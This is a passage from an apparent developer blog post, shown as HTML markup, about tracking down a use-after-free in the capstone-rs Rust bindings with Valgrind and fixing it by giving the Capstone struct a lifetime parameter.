&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x212174: call_once&amp;lt;(),closure&amp;gt; (panic.rs:313)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x212174: _ZN3std9panicking3try7do_call17h8f30d126163b9f85E.llvm.2059438285251411021 (panicking.rs:310)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x2FF739: __rust_maybe_catch_panic (lib.rs:105)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==  Address 0x5e2b19a is 42 bytes inside a block of size 1,528 free&amp;#39;d
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    at 0x4C30D3B: free (in &#x2F;usr&#x2F;lib&#x2F;valgrind&#x2F;vgpreload_memcheck-amd64-linux.so)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x236234: cs_free (in capstone-rs&#x2F;target&#x2F;debug&#x2F;deps&#x2F;capstone-7ce80c0a0e7a0946)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1780E6: &amp;lt;capstone::instruction::Instructions&amp;lt;&amp;#39;a&amp;gt; as core::ops::drop::Drop&amp;gt;::drop (instruction.rs:66)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x18B80D: core::ptr::drop_in_place (ptr.rs:59)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1971B3: capstone::test::instructions_match_group (lib.rs:524)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x17F3A8: capstone::test::test_syntax (lib.rs:847)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1CB699: capstone::__test::TESTS::{{closure}} (lib.rs:764)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x18A91D: core::ops::function::FnOnce::call_once (function.rs:223)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1F0B8E: {{closure}} (lib.rs:1451)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1F0B8E: call_once&amp;lt;closure,()&amp;gt; (function.rs:223)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1F0B8E: &amp;lt;F as alloc::boxed::FnBox&amp;lt;A&amp;gt;&amp;gt;::call_box (boxed.rs:640)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x2FF739: __rust_maybe_catch_panic (lib.rs:105)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: try&amp;lt;(),std::panic::AssertUnwindSafe&amp;lt;alloc::boxed::Box&amp;lt;FnBox&amp;lt;()&amp;gt;&amp;gt;&amp;gt;&amp;gt; (panicking.rs:289)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: catch_unwind&amp;lt;std::panic::AssertUnwindSafe&amp;lt;alloc::boxed::Box&amp;lt;FnBox&amp;lt;()&amp;gt;&amp;gt;&amp;gt;,()&amp;gt; (panic.rs:397)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: {{closure}} (lib.rs:1406)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: std::sys_common::backtrace::__rust_begin_short_backtrace (backtrace.rs:136)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x212174: {{closure}}&amp;lt;closure,()&amp;gt; (mod.rs:409)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x212174: call_once&amp;lt;(),closure&amp;gt; (panic.rs:313)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x212174: _ZN3std9panicking3try7do_call17h8f30d126163b9f85E.llvm.2059438285251411021 (panicking.rs:310)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==  Block was alloc&amp;#39;d at
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    at 0x4C2FB0F: malloc (in &#x2F;usr&#x2F;lib&#x2F;valgrind&#x2F;vgpreload_memcheck-amd64-linux.so)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x235F9A: cs_disasm (in capstone-rs&#x2F;target&#x2F;debug&#x2F;deps&#x2F;capstone-7ce80c0a0e7a0946)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1ED9A2: capstone::capstone::Capstone::disasm (capstone.rs:212)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1ED8EA: capstone::capstone::Capstone::disasm_all (capstone.rs:188)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x197107: capstone::test::instructions_match_group (lib.rs:521)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x17F3A8: capstone::test::test_syntax (lib.rs:847)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1CB699: capstone::__test::TESTS::{{closure}} (lib.rs:764)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x18A91D: core::ops::function::FnOnce::call_once (function.rs:223)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1F0B8E: {{closure}} (lib.rs:1451)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1F0B8E: call_once&amp;lt;closure,()&amp;gt; (function.rs:223)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1F0B8E: &amp;lt;F as alloc::boxed::FnBox&amp;lt;A&amp;gt;&amp;gt;::call_box (boxed.rs:640)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x2FF739: __rust_maybe_catch_panic (lib.rs:105)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: try&amp;lt;(),std::panic::AssertUnwindSafe&amp;lt;alloc::boxed::Box&amp;lt;FnBox&amp;lt;()&amp;gt;&amp;gt;&amp;gt;&amp;gt; (panicking.rs:289)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: catch_unwind&amp;lt;std::panic::AssertUnwindSafe&amp;lt;alloc::boxed::Box&amp;lt;FnBox&amp;lt;()&amp;gt;&amp;gt;&amp;gt;,()&amp;gt; (panic.rs:397)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: {{closure}} (lib.rs:1406)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: std::sys_common::backtrace::__rust_begin_short_backtrace (backtrace.rs:136)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x212174: {{closure}}&amp;lt;closure,()&amp;gt; (mod.rs:409)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x212174: call_once&amp;lt;(),closure&amp;gt; (panic.rs:313)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x212174: _ZN3std9panicking3try7do_call17h8f30d126163b9f85E.llvm.2059438285251411021 (panicking.rs:310)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;ok
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 40 filtered out
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;==12465==
&lt;&#x2F;span&gt;&lt;span&gt;==12465== HEAP SUMMARY:
&lt;&#x2F;span&gt;&lt;span&gt;==12465==     in use at exit: 32 bytes in 1 blocks
&lt;&#x2F;span&gt;&lt;span&gt;==12465==   total heap usage: 775 allocs, 774 frees, 190,287 bytes allocated
&lt;&#x2F;span&gt;&lt;span&gt;==12465==
&lt;&#x2F;span&gt;&lt;span&gt;==12465== LEAK SUMMARY:
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    definitely lost: 0 bytes in 0 blocks
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    indirectly lost: 0 bytes in 0 blocks
&lt;&#x2F;span&gt;&lt;span&gt;==12465==      possibly lost: 0 bytes in 0 blocks
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    still reachable: 32 bytes in 1 blocks
&lt;&#x2F;span&gt;&lt;span&gt;==12465==         suppressed: 0 bytes in 0 blocks
&lt;&#x2F;span&gt;&lt;span&gt;==12465== Reachable blocks (those to which a pointer was found) are not shown.
&lt;&#x2F;span&gt;&lt;span&gt;==12465== To see them, rerun with: --leak-check=full --show-leak-kinds=all
&lt;&#x2F;span&gt;&lt;span&gt;==12465==
&lt;&#x2F;span&gt;&lt;span&gt;==12465== For counts of detected and suppressed errors, rerun with: -v
&lt;&#x2F;span&gt;&lt;span&gt;==12465== ERROR SUMMARY: 123 errors from 5 contexts (suppressed: 0 from 0)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can see there that Valgrind&#x27;s Memcheck plugin showed there was an error &lt;code&gt;Invalid read of size 1&lt;&#x2F;code&gt;.
Memcheck also gave us stack traces of where the memory was originally allocated and freed (since we passed &lt;code&gt;--track-origins=yes&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;--leak-check=full&lt;&#x2F;code&gt;, ).&lt;&#x2F;p&gt;
&lt;p&gt;Most of the stack traces relate to the test runner.
The output relevant to capstone-rs is:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;==12465== Invalid read of size 1
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    at 0x17876C: capstone::instruction::InsnDetail::groups_count (instruction.rs:284)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1786E6: capstone::instruction::InsnDetail::groups (instruction.rs:279)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x196497: capstone::test::test_instruction_group_helper (lib.rs:464)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x197654: capstone::test::instructions_match_group (lib.rs:540)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x17F3A8: capstone::test::test_syntax (lib.rs:847)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==  Address 0x5e2b19a is 42 bytes inside a block of size 1,528 free&amp;#39;d
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    at 0x4C30D3B: free (in &#x2F;usr&#x2F;lib&#x2F;valgrind&#x2F;vgpreload_memcheck-amd64-linux.so)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x236234: cs_free (in capstone-rs&#x2F;target&#x2F;debug&#x2F;deps&#x2F;capstone-7ce80c0a0e7a0946)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1780E6: &amp;lt;capstone::instruction::Instructions&amp;lt;&amp;#39;a&amp;gt; as core::ops::drop::Drop&amp;gt;::drop (instruction.rs:66)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x18B80D: core::ptr::drop_in_place (ptr.rs:59)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1971B3: capstone::test::instructions_match_group (lib.rs:524)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x17F3A8: capstone::test::test_syntax (lib.rs:847)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==  Block was alloc&amp;#39;d at
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    at 0x4C2FB0F: malloc (in &#x2F;usr&#x2F;lib&#x2F;valgrind&#x2F;vgpreload_memcheck-amd64-linux.so)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x235F9A: cs_disasm (in capstone-rs&#x2F;target&#x2F;debug&#x2F;deps&#x2F;capstone-7ce80c0a0e7a0946)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1ED9A2: capstone::capstone::Capstone::disasm (capstone.rs:212)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1ED8EA: capstone::capstone::Capstone::disasm_all (capstone.rs:188)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x197107: capstone::test::instructions_match_group (lib.rs:521)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x17F3A8: capstone::test::test_syntax (lib.rs:847)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Notice that &lt;strong&gt;Rust&lt;&#x2F;strong&gt; functions (such as &lt;code&gt;capstone::capstone::Capstone::disasm&lt;&#x2F;code&gt;) &lt;em&gt;and&lt;&#x2F;em&gt; &lt;strong&gt;C&lt;&#x2F;strong&gt; functions (such as &lt;code&gt;cs_disasm()&lt;&#x2F;code&gt;) appeared in the output.
Valgrind does not care about the source langauge of functions.
Valgrind even correctly demangles the names.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;examining-the-valgrind-output&quot;&gt;Examining the Valgrind output&lt;a class=&quot;zola-anchor&quot; href=&quot;#examining-the-valgrind-output&quot; aria-label=&quot;Anchor link for: examining-the-valgrind-output&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;Allocate and free&lt;&#x2F;strong&gt; (&lt;code&gt;instructions_match_group()&lt;&#x2F;code&gt; in &lt;code&gt;lib.rs&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; cs: &amp;amp;mut Capstone
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; insns_buf: Vec&amp;lt;u8&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;521&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; insns: Vec&amp;lt;Insn&amp;gt; = cs.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;disasm_all&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;insns_buf, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Alloc
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;522&lt;&#x2F;span&gt;&lt;span&gt;:             .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;expect&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Failed to disassemble&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;523&lt;&#x2F;span&gt;&lt;span&gt;:             .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;iter&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;524&lt;&#x2F;span&gt;&lt;span&gt;:             .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;collect&lt;&#x2F;span&gt;&lt;span&gt;(); &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Free
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can see here that &lt;code&gt;cs.disasm_all()&lt;&#x2F;code&gt; caused the allocation.
The resulting instructions are collected into a &lt;code&gt;Vec&amp;lt;Insn&amp;gt;&lt;&#x2F;code&gt;.
The underlying memory buffer with the instructions is immediately freed  after the &lt;code&gt;collect()&lt;&#x2F;code&gt; (implicitly through the &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;ops&#x2F;trait.Drop.html&quot;&gt;&lt;code&gt;Drop&lt;&#x2F;code&gt; trait&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Invalid read&lt;&#x2F;strong&gt; (&lt;code&gt;test_instruction_group_helper()&lt;&#x2F;code&gt; in &lt;code&gt;lib.rs&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; cs: &amp;amp;Capstone
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; insn: &amp;amp;Insn
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;461&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; detail = cs.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;insn_detail&lt;&#x2F;span&gt;&lt;span&gt;(insn).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;expect&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Unable to get detail&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Invalid read
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;464&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; instruction_group_ids: HashSet&amp;lt;_&amp;gt; = detail.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;groups&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;collect&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;capstone&#x2F;0.4.0&#x2F;capstone&#x2F;struct.Capstone.html#method.insn_detail&quot;&gt;&lt;code&gt;insn_detail()&lt;&#x2F;code&gt; method&lt;&#x2F;a&gt;
of the &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;capstone&#x2F;0.4.0&#x2F;capstone&#x2F;struct.Capstone.html&quot;&gt;&lt;code&gt;Capstone&lt;&#x2F;code&gt; struct&lt;&#x2F;a&gt;
takes an &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;capstone&#x2F;0.4.0&#x2F;capstone&#x2F;struct.Insn.html&quot;&gt;&lt;code&gt;Insn&lt;&#x2F;code&gt; instance&lt;&#x2F;a&gt;
to get the &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;capstone&#x2F;0.4.0&#x2F;capstone&#x2F;struct.InsnDetail.html&quot;&gt;&lt;code&gt;InsnDetail&lt;&#x2F;code&gt; struct&lt;&#x2F;a&gt;
that contains extra details about instructions.
For example, &lt;code&gt;InsnDetail&lt;&#x2F;code&gt; contains information about registers that are implicitly read&#x2F;written and logical groups to which an instruction belongs.&lt;&#x2F;p&gt;
&lt;p&gt;At this point, I knew that memory was being freed too soon.
The &lt;code&gt;InsnDetail&lt;&#x2F;code&gt; struct relies on the memory allocated by &lt;code&gt;cs_disasm()&lt;&#x2F;code&gt; to remain.&lt;&#x2F;p&gt;
&lt;p&gt;Even though tests were passing on Linux with the default allocator, the tests actually read from freed memory.
Rust&#x27;s default allocator &lt;em&gt;simply masked&lt;&#x2F;em&gt; the issue.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;the-final-fix&quot;&gt;The Final Fix&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-final-fix&quot; aria-label=&quot;Anchor link for: the-final-fix&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;The &lt;code&gt;Capstone&lt;&#x2F;code&gt; instance did not live long enough.
How could we fix the problem?&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;&#x2F;strong&gt;
&lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;book&#x2F;ch10-03-lifetime-syntax.html?highlight=lifetime%20ann#lifetime-annotations-in-struct-definitions&quot;&gt;Declaring a lifetime for the &lt;code&gt;Capstone&lt;&#x2F;code&gt; struct&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I added the lifetime &lt;code&gt;&#x27;cs&lt;&#x2F;code&gt; to the &lt;code&gt;Capstone&lt;&#x2F;code&gt; struct definition:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;pub struct &lt;&#x2F;span&gt;&lt;span&gt;Capstone&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;&amp;#39;cs&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* ... *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_marker&lt;&#x2F;span&gt;&lt;span&gt;: PhantomData&amp;lt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;&amp;#39;cs mut&lt;&#x2F;span&gt;&lt;span&gt; c_void&amp;gt;,
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The new lifetime &lt;code&gt;&#x27;cs&lt;&#x2F;code&gt; told the Rust type system that the &lt;code&gt;Capstone&lt;&#x2F;code&gt; struct logically contains a reference.&lt;&#x2F;p&gt;
&lt;p&gt;After implementing the change, the tests passed (on Mac OS and Linux).&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;cargo +nightly test --features alloc_system
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Valgrind&#x27;s Memcheck plugin also did not detect any invalid reads:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;valgrind .&#x2F;target&#x2F;debug&#x2F;deps&#x2F;capstone-cf27dd2002993511
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The test code that contained the allocation and free:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; cs: &amp;amp;mut Capstone
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; insns_buf: Vec&amp;lt;u8&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; insns: Vec&amp;lt;Insn&amp;gt; = cs.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;disasm_all&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;insns_buf, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Alloc
&lt;&#x2F;span&gt;&lt;span&gt;            .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;expect&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Failed to disassemble&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;            .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;iter&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;            .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;collect&lt;&#x2F;span&gt;&lt;span&gt;(); &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Free
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;However, that code is not actually valid.
After adding adding the lifetime &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; to &lt;code&gt;Capstone&lt;&#x2F;code&gt;, I got the following compile error:&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#ff5555;&quot;&gt;error[E0597]&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot;&gt;: borrowed value does not live long enough&lt;&#x2F;b&gt;
   &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;--&amp;gt; &lt;&#x2F;b&gt;src&#x2F;lib.rs:564:29
    &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;|&lt;&#x2F;b&gt;
&lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;564&lt;&#x2F;b&gt; &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;| &lt;&#x2F;b&gt;          let insns: Vec&amp;lt;_&amp;gt; = cs.disasm_all(&amp;amp;insns_buf, 0x1000)
    &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;| &lt;&#x2F;b&gt; &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#ff5555;&quot;&gt;_____________________________^&lt;&#x2F;b&gt;
&lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;565&lt;&#x2F;b&gt; &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;| &lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#ff5555;&quot;&gt;|&lt;&#x2F;b&gt;             .expect(&quot;Failed to disassemble&quot;)
    &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;| &lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#ff5555;&quot;&gt;|____________________________________________^&lt;&#x2F;b&gt; &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#ff5555;&quot;&gt;temporary value does not live long enough&lt;&#x2F;b&gt;
&lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;566&lt;&#x2F;b&gt; &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;| &lt;&#x2F;b&gt;              .iter()
&lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;567&lt;&#x2F;b&gt; &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;| &lt;&#x2F;b&gt;              .collect();
